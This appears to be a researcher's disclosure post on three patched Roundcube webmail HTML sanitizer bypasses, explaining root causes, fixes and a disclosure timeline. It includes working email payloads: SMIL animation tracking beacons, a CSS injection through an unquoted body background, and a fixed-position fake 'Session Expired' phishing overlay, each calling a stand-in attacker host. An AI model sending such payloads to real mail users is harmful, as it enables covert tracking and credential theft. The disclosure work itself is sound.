---
title: "Roundcube round two: three more sanitizer bypasses"
created_at: 2026-03-18
updated_at: 2026-03-18
description: "Three more bypasses in Roundcube's HTML sanitizer: SMIL animation attributes load remote resources, unquoted body backgrounds enable CSS injection, and position:fixed !important enables phishing overlays."
tags: ["vulnerability","roundcube","svg","css","email-security"]
source: https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/
---


**TL;DR:** Three more bypasses in Roundcube's HTML sanitizer. SMIL animation `values` and `by` attributes pass through without URI validation. The body `background` attribute gets dropped into `url()` unquoted, which allows CSS injection. And `position: fixed !important` bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in [1.5.14, 1.6.14, and 1.7-rc5](https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16).

## Vulnerability information

| Field | Value |
|-------|-------|
| **Vendor** | Roundcube |
| **Product** | Roundcube Webmail |
| **Affected versions** | < 1.5.14, 1.6.x < 1.6.14, 1.7-rc1 through 1.7-rc4 |
| **CVE** | Pending |
| **Disclosure date** | 2026-03-18 |

## Going back

After the [feImage bypass](/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/) was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn't feel like doing anything else, so I went poking at it again.[^bored]

Three more things came out of it.

## SMIL animations: `values` and `by`

The feImage bug was about an element whose `href` went through the wrong code path. This one is about attributes that skip the code path entirely.

SMIL animation elements (`<animate>`, `<set>`, `<animateTransform>`) can target any attribute on their parent element. The `to` and `from` attributes set start and end values, but SMIL also has `values` (semicolon-separated keyframes) and `by` (relative offset). They all do the same thing: set the value of the target attribute.

`wash_attribs()` handles `to` and `from` correctly by resolving `attributeName` and routing the value through the appropriate URI check:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L301-L308)

```php
// in SVG to/from attribs may contain anything, including URIs
if ($key == 'to' || $key == 'from') {
    $key = strtolower((string) $node->getAttribute('attributeName'));
    $key = trim(preg_replace('/^.*:/', '', $key));
    if ($key && !isset($this->_html_attribs[$key])) {
        $key = null;
    }
}
```

This swaps the attribute name for the resolved `attributeName`, so `to="https://httpbin.org"` on `<animate attributeName="href">` gets validated as if it were an `href` value. The right idea.

But `values` and `by` aren't in that `if` check. They're both in the [`$html_attribs`](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L65) allowlist, so they pass the initial gate and fall through to the generic pass-through:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L335-L336)

```php
} elseif ($key) {
    $out = $value;
}
```

No URI validation. The value goes into the output unchanged.

There's a second layer to this. After [CVE-2024-37383](https://roundcube.net/news/2024/05/26/security-updates-1.6.7-and-1.5.7)[^cve-2024-37383], the sanitizer blocks SMIL animations targeting `attributeName="href"`:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L573-L575)

```php
} elseif (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
    && self::attribute_value($node, 'attributename', 'href')
) {
```

Only `href`. But CSS properties like `mask` and `cursor` also load external resources when their values contain URLs. An `<animate attributeName="mask" values="url(//httpbin.org/track)">` passes through because the element-level block doesn't fire.

Combined: the `values` attribute bypasses attribute-level validation, and targeting `mask` instead of `href` bypasses element-level blocking. Both checks miss.

### Proof of concept

Zero-click open tracking. An invisible SVG off-screen:

```html
<svg width="1" height="1" style="position:absolute;left:-9999px">
  <rect width="1" height="1" fill="white">
    <animate attributeName="mask"
      values="url(//httpbin.org/track?uid=victim@test.com)"
      fill="freeze" dur="0.001s" />
  </rect>
</svg>
```

Open the email in Roundcube with "Block remote images" enabled. The browser fires a GET to the attacker's URL.[^firefox]

SMIL's `keyTimes` attribute enables timed beacons, measuring how long a recipient views the email:

```html
<svg width="1" height="1" style="position:absolute;left:-9999px">
  <rect width="1" height="1">
    <animate attributeName="mask"
      values="none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)"
      dur="5s" repeatCount="indefinite" />
  </rect>
</svg>
```

## Body backgrounds: unquoted `url()`

This one is in the application layer, not the sanitizer library.

When Roundcube renders an email, `washtml_callback()` processes the `<body>` element's attributes and converts them to inline CSS on the output container `<div>`. The `background` attribute[^body-background] becomes `background-image`:

[index.php](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/actions/mail/index.php#L1180-L1185)

```php
case 'background':
    if (preg_match('/^([^\s]+)$/', $value, $m)) {
        $style['background-image'] = "url({$value})";
    }
    break;
```

The value runs through `wash_uri()` before this point, which allows `data:image/*` URIs. Then it gets interpolated into `url()` without quotes.

A `)` inside the data URI terminates the `url()` function early, and everything after it is parsed as additional CSS properties on the container `<div>`. Because the injected CSS is inline style (not inside a `<style>` block), it bypasses `mod_css_styles()` and its URL callback entirely.

### Proof of concept

```html
<body background="data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com">
```

The sanitizer produces this inline style on the container:

```css
background-image: url(data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com)
```

The `)` in `data:image/png,x)` closes the original `url()`. The injected `background:url(//...)` loads the external resource.

## CSS position: `fixed !important`

Roundcube converts `position: fixed` to `position: absolute` in `sanitize_css_block()` to prevent elements from breaking out of the message container:

[rcube_utils.php](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_utils.php#L544)

```php
} elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) {
    $value = 'absolute';
}
```

`strcasecmp` compares the entire trimmed value against `"fixed"`. Append `!important` and it's no longer an exact match.[^exact-match] The check fails, and `"fixed !important"` flows through the generic token validation, where `explode_css_property_block()` splits it into `['fixed', '!important']`. Both tokens pass the allowlist individually, and the output reassembles as `position: fixed !important`.

### Proof of concept

```html
<style>
.overlay {
    position: fixed !important;
    top: 0; left: 0;
    width: 100%; height: 100%;
    background: white;
    z-index: 99999;
    display: flex;
    align-items: center;
    justify-content: center;
}
</style>

<div class="overlay">
  <div style="border:1px solid #ccc;border-radius:8px;padding:30px;
              max-width:400px;text-align:center;font-family:Arial,sans-serif">
    <h2>Session Expired</h2>
    <p>Your Roundcube session has expired due to inactivity.</p>
    <a href="https://httpbin.org/phish/login"
       style="background:#0066cc;color:white;padding:10px 20px;
              text-decoration:none;border-radius:4px">Sign In Again</a>
  </div>
</div>
```

The overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A "session expired" dialog pointing to an attacker-controlled login page.

![Phishing overlay rendered inside Roundcube. A fake "Session Expired" dialog covers the message pane.](/images/roundcube-phishing-overlay.png)

## Impact

The SMIL and body background bypasses defeat "Block remote images" to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.

The `position: fixed` bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube's own login prompt.

## Remediation

All three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the [Roundcube advisory](https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16).

### SMIL animations

The fix ([`82ab5ec`](https://github.com/roundcube/roundcubemail/commit/82ab5ec)) replaces the inline element-level check with a new `is_insecure_tag()` method that blocks SMIL animation elements targeting `href`, or `mask`/`cursor` when the `values` attribute contains `url()`:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/82ab5eca7b332fce7a174b2b987f0957a66377cd/program/lib/Roundcube/rcube_washtml.php#L530-L544)

```php
private static function is_insecure_tag($node)
{
    $tagName = strtolower($node->nodeName);

    if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) {
        return false;
    }

    if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
        return true;
    }

    return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i')
        && self::attribute_value($node, 'values', '/url\(/i');
}
```

The fix blocks the entire element when it detects a dangerous combination rather than adding `values` and `by` to the attribute-level validation. The `attribute_value()` helper was also changed from exact string matching to regex matching to support this.

### Body backgrounds

The fix ([`fd0e981`](https://github.com/roundcube/roundcubemail/commit/fd0e981)) adds validation in `wash_uri()` that rejects data URIs unless they're properly base64-encoded:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/fd0e98178db5c73eaa93d005b561874923f9b0f0/program/lib/Roundcube/rcube_washtml.php#L419-L422)

```php
// At this point we allow only valid base64 images
if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
    return '';
}
```

The crafted `data:image/png,x)` payload fails the first check: the type is `png`, not `png;base64`, so `stripos` returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like `)`. The unquoted `url()` interpolation in `washtml_callback()` is unchanged, but the injection vector is cut off at the URI validation layer.

### CSS position

The fix ([`226811a`](https://github.com/roundcube/roundcubemail/commit/226811a)) changes the `position: fixed` check from exact match to substring match:

[rcube_utils.php](https://github.com/roundcube/roundcubemail/blob/226811a1c974271dbedca72672923abaff8191c0/program/lib/Roundcube/rcube_utils.php#L555)

```php
} elseif ($property == 'position' && stripos($value, 'fixed') !== false) {
    $value = 'absolute';
}
```

`stripos` catches `"fixed !important"` because `"fixed"` is a substring. The value gets replaced with `"absolute"` before it reaches token validation.

Update to 1.5.14, 1.6.14, or 1.7-rc5.

## Timeline

| Date | Event |
|------|-------|
| 2026-03-07 | Reported to Roundcube |
| 2026-03-09 | Triaged |
| 2026-03-18 | 1.5.14, 1.6.14, and 1.7-rc5 released |
| 2026-03-18 | This post |

[^bored]: Most of the bugs on this blog started with "I was bored." Bored hackers are a threat model.
[^cve-2024-37383]: [Exploited in the wild](https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/fake-attachment-roundcube-mail-server-attacks-exploit-cve-2024-37383-vulnerability/) against a CIS government organization in June 2024. On [CISA's KEV catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog). Roundcube XSS bugs keep ending up in targeted campaigns. [Winter Vivern](https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/) used a different one as a zero-day against European government entities in 2023.
[^body-background]: [Deprecated since HTML 4.01](https://html.spec.whatwg.org/multipage/obsolete.html), listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it.
[^exact-match]: Two extra words. That's all it took.
[^firefox]: Tested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The `mask` property with `url()` values triggers a resource load during SVG rendering.

